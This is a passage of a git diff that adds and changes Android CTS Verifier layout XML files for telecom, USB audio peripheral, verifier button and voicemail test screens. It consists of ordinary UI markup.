+            android:text="@string/telecom_outgoing_call_register_enable_phone_account_button"/>
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_alignParentRight="true"
+            android:layout_below="@id/telecom_outgoing_call_register_enable_phone_account_button"
+            android:layout_marginLeft="20dip"
+            android:layout_marginRight="20dip"
+            android:id="@+id/telecom_outgoing_call_confirm_register_button"
+            android:text="@string/telecom_outgoing_call_confirm_register_button"/>
+    </RelativeLayout>
+
+    <RelativeLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+
+        <ImageView
+            android:id="@+id/step_2_status"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"
+            android:layout_alignParentStart="true"
+            android:layout_alignParentTop="true" />
+        <TextView
+            android:id="@+id/step_2_instructions"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/telecom_outgoing_call_step_2"
+            android:textSize="16dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:layout_toRightOf="@id/step_2_status" />
+        <Button
+            android:id="@+id/telecom_outgoing_call_dial_button"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_alignParentRight="true"
+            android:layout_below="@id/step_2_instructions"
+            android:layout_marginLeft="20dip"
+            android:layout_marginRight="20dip"
+            android:layout_toRightOf="@id/step_2_status"
+            android:text="@string/telecom_outgoing_call_dial_button"/>
+    </RelativeLayout>
+
+    <RelativeLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+
+        <ImageView
+            android:id="@+id/step_3_status"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"
+            android:layout_alignParentStart="true"
+            android:layout_alignParentTop="true" />
+        <TextView
+            android:id="@+id/step_3_instructions"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/telecom_outgoing_call_step_3"
+            android:textSize="16dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:layout_toRightOf="@id/step_3_status" />
+        <Button
+            android:id="@+id/telecom_outgoing_call_confirm_button"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_alignParentRight="true"
+            android:layout_below="@id/step_3_instructions"
+            android:layout_marginLeft="20dip"
+            android:layout_marginRight="20dip"
+            android:layout_toRightOf="@id/step_3_status"
+            android:text="@string/telecom_outgoing_call_confirm_button"/>
+    </RelativeLayout>
+
+    <include layout="@layout/pass_fail_buttons" />
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/telecom_self_managed_answer.xml b/apps/CtsVerifier/res/layout/telecom_self_managed_answer.xml
new file mode 100644
index 0000000..27aa55a
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/telecom_self_managed_answer.xml
@@ -0,0 +1,133 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical" android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/telecom_incoming_self_mgd_info"/>
+
+    <RelativeLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+
+        <ImageView
+            android:id="@+id/step_1_status"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"
+            android:layout_alignParentStart="true"
+            android:layout_alignParentTop="true" />
+        <TextView
+            android:id="@+id/step_1_instructions"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/telecom_incoming_self_mgd_step_1"
+            android:textSize="16dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:layout_toRightOf="@id/step_1_status" />
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_alignParentRight="true"
+            android:layout_below="@id/step_1_instructions"
+            android:layout_marginLeft="20dip"
+            android:layout_marginRight="20dip"
+            android:layout_toRightOf="@id/step_1_status"
+            android:id="@+id/telecom_incoming_self_mgd_register_button"
+            android:text="@string/telecom_incoming_self_mgd_register_button"/>
+    </RelativeLayout>
+
+    <RelativeLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+
+        <ImageView
+            android:id="@+id/step_2_status"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"
+            android:layout_alignParentStart="true"
+            android:layout_alignParentTop="true" />
+        <TextView
+            android:id="@+id/step_2_instructions"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/telecom_incoming_self_mgd_step_2"
+            android:textSize="16dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:layout_toRightOf="@id/step_2_status" />
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_alignParentRight="true"
+            android:layout_below="@id/step_2_instructions"
+            android:layout_marginLeft="20dip"
+            android:layout_marginRight="20dip"
+            android:layout_toRightOf="@id/step_2_status"
+            android:id="@+id/telecom_incoming_self_mgd_show_ui_button"
+            android:text="@string/telecom_incoming_self_mgd_show_ui_button"/>
+    </RelativeLayout>
+
+    <RelativeLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+
+        <ImageView
+            android:id="@+id/step_3_status"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"
+            android:layout_alignParentStart="true"
+            android:layout_alignParentTop="true" />
+        <TextView
+            android:id="@+id/step_3_instructions"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/telecom_incoming_self_mgd_step_3"
+            android:textSize="16dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:layout_toRightOf="@id/step_3_status" />
+        <Button
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_alignParentRight="true"
+            android:layout_below="@id/step_3_instructions"
+            android:layout_marginLeft="20dip"
+            android:layout_marginRight="20dip"
+            android:layout_toRightOf="@id/step_3_status"
+            android:id="@+id/telecom_incoming_self_mgd_confirm_answer_button"
+            android:text="@string/telecom_incoming_self_mgd_confirm_answer_button"/>
+    </RelativeLayout>
+
+    <include layout="@layout/pass_fail_buttons" />
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/uap_attribs_panel.xml b/apps/CtsVerifier/res/layout/uap_attribs_panel.xml
new file mode 100644
index 0000000..6c33d9f
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/uap_attribs_panel.xml
@@ -0,0 +1,39 @@
+<?xml version="1.0" encoding="utf-8"?>
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:id="@+id/scrollView"
+    style="@style/RootLayoutPadding">
+
+<LinearLayout android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content">
+
+    <include layout="@layout/uap_profile_header"/>
+
+    <LinearLayout
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+
+        <TextView
+            android:text="@string/uapPeripheralProfileStatus"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"/>
+
+        <TextView
+            android:text="status"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:id="@+id/uap_attribsStatusTx"
+            android:paddingLeft="16dp"/>
+        </LinearLayout>
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/usbaudio_results_text"/>
+
+    <include layout="@layout/pass_fail_buttons"/>
+</LinearLayout>
+</ScrollView>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/uap_buttons_panel.xml b/apps/CtsVerifier/res/layout/uap_buttons_panel.xml
new file mode 100644
index 0000000..3da7247
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/uap_buttons_panel.xml
@@ -0,0 +1,112 @@
+<?xml version="1.0" encoding="utf-8"?>
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:id="@+id/scrollView"
+    style="@style/RootLayoutPadding">
+
+<LinearLayout android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content">
+
+    <include layout="@layout/uap_profile_header"/>
+
+    <LinearLayout
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+
+         <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"/>
+
+        <TextView
+            android:text="@string/uapButtonTestInstructions"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"/>
+
+         <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"/>
+
+        <TextView
+            android:text="@string/uapButtonsBtnALbl"
+            android:id="@+id/uap_buttonsBtnALabelTx"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            />
+
+        <TextView
+            android:text="@string/uapButtonsNotRecognized"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:id="@+id/uap_buttonsBtnAStatusTx"
+            android:paddingLeft="16dp"/>
+
+         <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"/>
+
+        <TextView
+            android:text="@string/uapButtonsBtnBLbl"
+            android:id="@+id/uap_buttonsBtnBLabelTx"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            />
+
+        <TextView
+            android:text="@string/uapButtonsNotRecognized"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:id="@+id/uap_buttonsBtnBStatusTx"
+            android:paddingLeft="16dp"/>
+
+         <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"/>
+
+        <TextView
+            android:text="@string/uapButtonsBtnCLbl"
+            android:id="@+id/uap_buttonsBtnCLabelTx"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            />
+
+        <TextView
+            android:text="@string/uapButtonsNotRecognized"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:id="@+id/uap_buttonsBtnCStatusTx"
+            android:paddingLeft="16dp"/>
+
+         <Space
+            android:layout_width="match_parent"
+            android:layout_height="5dp"/>
+
+        <TextView
+            android:text="@string/uapButtonsBtnDLbl"
+            android:id="@+id/uap_buttonsBtnDLabelTx"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            />
+
+        <TextView
+            android:text="@string/uapButtonsNotRecognized"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:id="@+id/uap_buttonsBtnDStatusTx"
+            android:paddingLeft="16dp"/>
+
+         <Space
+            android:layout_width="match_parent"
+            android:layout_height="5dp"/>
+        </LinearLayout>
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/usbaudio_results_text"/>
+
+    <include layout="@layout/pass_fail_buttons"/>
+</LinearLayout>
+</ScrollView>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/uap_play_panel.xml b/apps/CtsVerifier/res/layout/uap_play_panel.xml
new file mode 100644
index 0000000..2faa50c
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/uap_play_panel.xml
@@ -0,0 +1,49 @@
+<?xml version="1.0" encoding="utf-8"?>
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:id="@+id/scrollView"
+    style="@style/RootLayoutPadding">
+
+<LinearLayout android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content">
+
+    <include layout="@layout/uap_profile_header"/>
+
+    <LinearLayout
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+
+         <Space
+            android:layout_width="match_parent"
+            android:layout_height="5dp"/>
+
+        <TextView
+            android:text="@string/uapPlayTestInstructions"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"/>
+
+         <Space
+            android:layout_width="match_parent"
+            android:layout_height="5dp"/>
+
+        <Button
+            android:text="@string/audio_uap_play_playBtn"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:id="@+id/uap_playPlayBtn"
+            android:nextFocusUp="@+id/fail_button"
+            android:nextFocusDown="@+id/pass_button"/>
+
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/usbaudio_results_text"/>
+
+        </LinearLayout>
+
+    <include layout="@layout/pass_fail_buttons"/>
+</LinearLayout>
+</ScrollView>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/uap_profile_header.xml b/apps/CtsVerifier/res/layout/uap_profile_header.xml
new file mode 100644
index 0000000..ca3af8f
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/uap_profile_header.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="wrap_content">
+    <TextView
+        android:text="@string/profileLabel"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"/>
+
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:id="@+id/uap_profileNameTx"
+        android:paddingLeft="16dp"/>
+
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:id="@+id/uap_profileDescriptionTx"
+        android:paddingLeft="16dp"/>
+
+    <TextView
+        android:text="@string/connectedPeripheral"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"/>
+
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:id="@+id/uap_peripheralNameTx"
+        android:paddingLeft="16dp"/>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/uap_record_panel.xml b/apps/CtsVerifier/res/layout/uap_record_panel.xml
new file mode 100644
index 0000000..2deb738
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/uap_record_panel.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<ScrollView xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:id="@+id/scrollView"
+    style="@style/RootLayoutPadding">
+
+<LinearLayout android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content">
+
+    <include layout="@layout/uap_profile_header"/>
+
+    <LinearLayout
+        android:orientation="vertical"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
+
+         <Space
+            android:layout_width="match_parent"
+            android:layout_height="5dp"/>
+
+        <TextView
+            android:text="@string/uapRecordTestInstructions"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"/>
+
+         <Space
+            android:layout_width="match_parent"
+            android:layout_height="5dp"/>
+
+        <Button
+            android:text="@string/audio_uap_record_recordBtn"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:id="@+id/uap_recordRecordBtn"
+            android:nextFocusUp="@+id/fail_button"
+            android:nextFocusDown="@+id/uap_recordRecordLoopBtn"/>
+
+        <Button
+            android:text="@string/audio_uap_record_recordLoopbackBtn"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:id="@+id/uap_recordRecordLoopBtn"
+            android:nextFocusUp="@+id/uap_recordRecordBtn"
+            android:nextFocusDown="@+id/pass_button"/>
+        </LinearLayout>
+
+     <Space
+        android:layout_width="match_parent"
+        android:layout_height="5dp"/>
+
+    <com.android.cts.verifier.audio.audiolib.WaveScopeView
+        android:id="@+id/uap_recordWaveView"
+        android:layout_width="match_parent"
+        android:layout_height="256dp"/>
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/usbaudio_results_text"/>
+
+    <include layout="@layout/pass_fail_buttons"/>
+
+</LinearLayout>
+</ScrollView>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/usb_main.xml b/apps/CtsVerifier/res/layout/usb_main.xml
index 5c16612..d693ae5 100644
--- a/apps/CtsVerifier/res/layout/usb_main.xml
+++ b/apps/CtsVerifier/res/layout/usb_main.xml
@@ -1,5 +1,5 @@
 <?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2011 The Android Open Source Project
+<!-- Copyright (C) 2016 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
      you may not use this file except in compliance with the License.
@@ -14,55 +14,40 @@
      limitations under the License.
 -->
 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
-        android:orientation="vertical"
-        android:layout_width="match_parent"
-        android:layout_height="match_parent"
-        >
-    <TextView android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/usb_sent_messages"
-            style="?android:attr/listSeparatorTextViewStyle"
-            />
-    <FrameLayout android:orientation="vertical"
-            android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:layout_weight="1"
-            >
-        <ListView android:id="@+id/usb_sent_messages"
-                android:layout_width="match_parent"
-                android:layout_height="match_parent"
-                />
-        <TextView android:id="@+id/usb_empty_sent_messages"
-                android:layout_width="match_parent"
-                android:layout_height="match_parent"
-                android:gravity="center"
-                android:text="@string/usb_no_messages"
-                android:visibility="gone"
-                />
-    </FrameLayout>
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
 
-    <TextView android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:text="@string/usb_received_messages"
-            style="?android:attr/listSeparatorTextViewStyle"
-            />
-    <FrameLayout android:orientation="vertical"
+    <LinearLayout android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_weight="1"
+        android:orientation="vertical"
+        android:padding="16dp">
+
+        <ImageView android:layout_width="32dp"
+            android:layout_height="32dp"
+            android:src="@drawable/ic_usb_48"
+            android:tint="@color/primary"
+            android:scaleType="fitCenter"
+            android:layout_marginBottom="16dp" />
+
+        <ProgressBar android:id="@+id/progress_bar"
             android:layout_width="match_parent"
-            android:layout_height="match_parent"
-            android:layout_weight="1"
-            >
-        <ListView android:id="@+id/usb_received_messages"
+            android:layout_height="wrap_content"
+            android:layout_marginBottom="16dp"
+            android:visibility="gone" />
+
+        <ScrollView android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_weight="1">
+
+            <TextView android:id="@+id/status"
                 android:layout_width="match_parent"
-                android:layout_height="match_parent"
-                />
-        <TextView android:id="@+id/usb_empty_received_messages"
-                android:layout_width="match_parent"
-                android:layout_height="match_parent"
-                android:gravity="center"
-                android:text="@string/usb_no_messages"
-                android:visibility="gone"
-                />
-    </FrameLayout>
+                android:layout_height="wrap_content" />
+
+        </ScrollView>
+
+    </LinearLayout>
 
     <include layout="@layout/pass_fail_buttons" />
 
diff --git a/apps/CtsVerifier/res/layout/usb_message_row.xml b/apps/CtsVerifier/res/layout/usb_message_row.xml
deleted file mode 100644
index 3bb228a..0000000
--- a/apps/CtsVerifier/res/layout/usb_message_row.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2011 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-<TextView xmlns:android="http://schemas.android.com/apk/res/android"
-        android:layout_width="match_parent"
-        android:layout_height="wrap_content"
-        style="@style/MessageRow"
-        />
diff --git a/apps/CtsVerifier/res/layout/verifier_buttons.xml b/apps/CtsVerifier/res/layout/verifier_buttons.xml
new file mode 100644
index 0000000..6a80316
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/verifier_buttons.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:id="@+id/llPassFail"
+              android:layout_alignParentTop="true"
+              android:background="@android:color/transparent"
+              android:layout_width="match_parent"
+              android:layout_height="wrap_content">
+
+    <Button
+            android:id="@+id/btnPass"
+            android:layout_width="0dp"
+            android:layout_weight="1"
+            android:layout_height="wrap_content"
+            android:text="@string/pass"
+            android:enabled="false"
+            android:drawableTop="@drawable/fs_good"/>
+
+    <Button
+            android:id="@+id/btnInfo"
+            android:layout_width="0dp"
+            android:layout_weight="1"
+            android:layout_height="wrap_content"
+            android:text="@string/info"
+            android:drawableTop="@drawable/fs_indeterminate"/>
+
+    <Button
+            android:id="@+id/btnFail"
+            android:layout_width="0dp"
+            android:layout_weight="1"
+            android:layout_height="wrap_content"
+            android:text="@string/fail"
+            android:drawableTop="@drawable/fs_error"/>
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/visual_voicemail_service.xml b/apps/CtsVerifier/res/layout/visual_voicemail_service.xml
new file mode 100644
index 0000000..bbac93b
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/visual_voicemail_service.xml
@@ -0,0 +1,152 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/visual_voicemail_service_instructions"/>
+
+    <LinearLayout
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+        <ImageView
+            android:id="@+id/remove_sim_before_test_image"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"/>
+        <TextView
+            android:id="@+id/remove_sim_before_test_text"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/visual_voicemail_service_remove_sim_before_test"
+            android:textSize="16dp"/>
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+        <Button
+            android:id="@+id/remove_sim_ok"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/visual_voicemail_service_remove_sim_ok"/>
+        <Button
+            android:id="@+id/remove_sim_not_applicable"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/visual_voicemail_service_remove_sim_not_applicable"
+            />
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+        <ImageView
+            android:id="@+id/set_default_dialer_image"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"/>
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/voicemail_set_default_dialer_description"
+            android:textSize="16dp"/>
+    </LinearLayout>
+
+    <Button
+        android:id="@+id/set_default_dialer"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/voicemail_set_default_dialer_button"/>
+
+    <LinearLayout
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+        <ImageView
+            android:id="@+id/insert_sim_image"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"/>
+        <TextView
+            android:id="@+id/insert_sim_text"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/visual_voicemail_service_insert_sim"
+            android:textSize="16dp"/>
+    </LinearLayout>
+
+    <LinearLayout
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+        <ImageView
+            android:id="@+id/remove_sim_image"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"/>
+        <TextView
+            android:id="@+id/remove_sim_text"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/visual_voicemail_service_remove_sim"
+            android:textSize="16dp"/>
+    </LinearLayout>
+
+
+    <LinearLayout
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+        <ImageView
+            android:id="@+id/restore_default_dialer_image"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"/>
+        <TextView
+            android:id="@+id/restore_default_dialer_text"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/voicemail_restore_default_dialer_description"
+            android:textSize="16dp"/>
+    </LinearLayout>
+
+    <Button
+        android:id="@+id/restore_default_dialer"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/voicemail_restore_default_dialer_button"/>
+
+    <include layout="@layout/pass_fail_buttons" />
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml b/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
new file mode 100644
index 0000000..e7a832c
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/voicemail_hide_in_call_settings.xml
@@ -0,0 +1,105 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <TextView
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:text="@string/call_settings_check_instructions"/>
+
+    <LinearLayout
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+        <ImageView
+            android:id="@+id/set_default_dialer_image"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:src="@drawable/fs_indeterminate"
+            android:layout_marginRight="@dimen/js_padding"/>
+        <TextView
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/voicemail_set_default_dialer_description"
+            android:textSize="16dp"/>
+    </LinearLayout>
+
+    <Button
+        android:id="@+id/set_default_dialer"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/voicemail_set_default_dialer_button"/>
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/open_call_settings_explanation"
+        android:textSize="16dp"/>
+    <Button
+        android:id="@+id/open_call_settings"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="@string/open_call_settings"/>
+
+    <LinearLayout
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:layout_marginTop="@dimen/js_padding"
+        android:layout_marginBottom="@dimen/js_padding">
+        <Button
+            android:id="@+id/settings_hidden"
